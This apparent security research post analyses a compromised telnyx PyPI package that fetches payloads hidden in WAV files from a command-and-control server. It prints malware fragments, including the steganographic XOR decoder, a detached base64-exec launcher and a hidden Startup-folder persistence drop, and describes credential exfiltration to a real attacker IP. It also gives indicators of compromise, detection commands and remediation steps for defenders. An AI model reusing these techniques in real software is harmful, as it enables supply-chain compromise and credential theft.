Table of contents
Famous Telnyx Pypi Package compromised by TeamPCP
Part 3 of the TeamPCP Supply Chain Series
Part 1 covered CanisterWorm, the self-spreading npm worm. Part 2 covered the malicious LiteLLM package and its .pth persistence. This post covers the third wave: a compromised telnyxPyPI package that hides its payload inside audio files and delivers entirely different malware depending on the victim’s operating system.
On March 27, 2026, two malicious versions of telnyx were published to PyPI (4.87.1,4.87.2). Telnyx is a widely used Python SDK for voice, SMS, and communications APIs, common in production applications that handle phone calls, messaging, and telephony infrastructure. The malicious package runs automatically on import and contacts a command-and-control server to download what appears to be an audio file. That file contains no audio at all. It contains the attacker’s payload.
The C2 server, RSA public key, and exfiltration format are identical to the LiteLLM attack from March 24. This is TeamPCP’s third PyPI strike in eight days.
Payload hidden in audio: How WAV steganography works here
Previous TeamPCP payloads embedded their second stage directly in the package source as a base64-encoded string. Static scanners can flag that pattern. This version fetches its payload live at runtime, concealed inside a .wav audio container.
When the malicious telnyx package is imported, two functions run at module level: Setup() on Windows and FetchAudio() on Linux and macOS. Both check the operating system first, then download a different .wav file and extract a different payload using the same decoding technique.
Think of it like a picture frame holding a hidden message instead of a photo. Python’s built-in wave module reads the audio frame data, but that data is not audio. The attacker has packed a base64-encoded payload into the frame bytes. The decoder then XORs the data with a short key embedded at the start of the blob to produce the final executable content.
with wave.open(wf, 'rb') as w:
raw = base64.b64decode(w.readframes(w.getnframes()))
s, data = raw[:8], raw[8:]
payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])Figure 1: WAV steganography decoder shared by both the Linux and Windows paths
The first 8 bytes of the decoded blob are the XOR key (s). The rest is the payload, XOR’d byte-by-byte against that key in a repeating pattern. This is a simple but effective obfuscation layer: the payload in the .wav file is unreadable without applying the key, and the key is embedded in the data itself rather than hardcoded anywhere in the package.
The C2 serves two distinct files on two distinct endpoints:
| Endpoint | Platform | Payload type |
|---|---|---|
GET /ringtone.wav | Linux / macOS | Python script |
GET /hangup.wav | Windows | PE executable |
The naming is intentional misdirection. A ringtone download and a call hangup event are both plausible network requests for a telephony SDK to make.
Linux and macOS: Credential theft via detached process
On Linux and macOS, FetchAudio() runs a Python payload that is embedded directly in the package as an obfuscated string _p, launched as a completely detached subprocess:
subprocess.Popen(
[sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True
)Figure 2: Linux and macOS payload launcher, detached from the parent process to survive termination
start_new_session=True is the key detail. It creates a new session leader, breaking the process away from the parent. When the Python application that imported telnyx exits, this process keeps running. It is not visible as a child of the original process.
The detached script downloads ringtone.wav, decodes the WAV payload, and pipes the resulting Python script into a fresh interpreter via subprocess.run([sys.executable, "-"], input=payload). The script’s output is collected, then encrypted and exfiltrated using the same pipeline documented in the LiteLLM analysis: a 32-byte random AES session key encrypts the data, the session key is RSA-OAEP encrypted with the attacker’s public key, both are bundled into tpcp.tar.gz, and the archive is POSTed to http://83.142.209.203:8080/ with the header X-Filename: tpcp.tar.gz.
The dynamic payload in ringtone.wav is a second-stage script the attacker controls and can rotate at any time without touching the PyPI package.
Windows: Silent startup persistence
The Windows path operates differently. Rather than exfiltrating credentials in a single transient run, Setup() installs a persistent binary that survives reboots and runs every time the user logs in.
The target location, obfuscated throughout the source using base64-encoded strings decoded by a helper function _d():
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exePlacing a binary in the Startup folder is a persistence technique that requires no administrator access and no registry changes. The Windows shell executes everything in that folder at login. Naming the binary msbuild.exe, after Microsoft’s legitimate build tool that ships with Visual Studio, is designed to survive a manual review of startup entries or running processes.
# decode hangup.wav using the shared WAV stego technique, write to Startup
with open(p, "wb") as f:
f.write(payload)
# execute silently: CREATE_NO_WINDOW flag suppresses any console window
subprocess.Popen([p], creationflags=0x08000000)Figure 3: Windows payload decoding and silent execution, with a 12-hour re-infection guard
creationflags=0x08000000 is the CREATE_NO_WINDOW flag. The binary runs with no visible console or taskbar presence.
Before installing, Setup() checks for a lock file (msbuild.exe.lock) in the same directory. If the lock exists and was written less than 12 hours ago, the function exits without doing anything. This prevents multiple concurrent infections from racing. The lock file is immediately hidden using attrib +h so it does not appear in standard Explorer views.
Attribution: Third wave, same infrastructure
The telnyx payload shares every significant infrastructure indicator with the LiteLLM attack from three days earlier:
| Indicator | LiteLLM (Part 2) | Telnyx (Part 3) |
|---|---|---|
| C2 server | 83.142.209.203:8080 | 83.142.209.203:8080 |
| RSA public key | vahaZDo8mucujrT15ry+… | Identical |
| Exfil archive name | tpcp.tar.gz | tpcp.tar.gz |
| Encryption | AES-256-CBC + RSA-OAEP | Identical |
The only new element is the delivery mechanism. Where LiteLLM embedded its payload in a .pth file that executed on every Python startup, telnyx fetches its payload at runtime from a live C2 endpoint. This reduces the static footprint in the package and allows the attacker to update the second-stage payload without publishing a new version.
Indicators of compromise
Network
| Indicator | Purpose |
|---|---|
hxxp://83.142.209.203:8080/ringtone.wav | Linux/macOS payload delivery |
hxxp://83.142.209.203:8080/hangup.wav | Windows payload delivery |
POST hxxp://83.142.209.203:8080/ with X-Filename: tpcp.tar.gz | Credential exfiltration |
Filesystem
| Path | Platform | Description |
|---|---|---|
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe | Windows | Persistent backdoor binary |
%APPDATA%\...\Startup\msbuild.exe.lock | Windows | Re-infection guard, hidden |
Detection
# Linux/macOS: look for detached python process running base64-decoded payload
ps aux | grep "exec(base64.b64decode"
# Verify your installed telnyx source does not contact the C2
python3 -c "import inspect, telnyx; print(inspect.getfile(telnyx))"
grep -r "83.142.209.203\|ringtone.wav\|audioimport\|WAV_URL" \
$(python3 -c "import site; print(' '.join(site.getsitepackages()))")/telnyx/
# Windows: check Startup folder for disguised binary
Get-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe" -ErrorAction SilentlyContinue
Get-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock" -ErrorAction SilentlyContinueFigure 4: Commands to check for active telnyx infection on Linux/macOS and Windows
If the Windows artifacts are present, the binary has already been planted and has run at least once since the last login. Treat the machine as fully compromised.
Remediation recommendations
Remove the malicious package and any dropped artifacts:
pip uninstall telnyx
# reinstall a clean version after verifying source on GitHub
# Windows: remove persistence
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe" -Force
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock" -ForceRotate all cloud credentials, API keys, and SSH keys accessible from any environment where the malicious package was installed. On Windows, assume the dropped binary has had at minimum one execution opportunity since the user’s last login.
Conclusion
The telnyx compromise introduces a delivery technique that is new to this campaign: live payload fetching through WAV steganography, with the C2 serving different second stages to Linux and Windows hosts from the same infrastructure.
TeamPCP has now hit npm, PyPI CI/CD tooling, AI development libraries, and telephony infrastructure across nine days. Each wave uses the same backend but adapts the delivery to the target ecosystem. The shift from embedded payloads to live C2 delivery is the most significant technique change so far, and it means the actual capability delivered to victims is entirely under the attacker’s control at runtime.
PyPI has acted fast and quarantined Telnyx. Verify your installed telnyx version against the official GitHub repository. If you were running the malicious version, follow the remediation steps above and treat any credentials on that machine as stolen.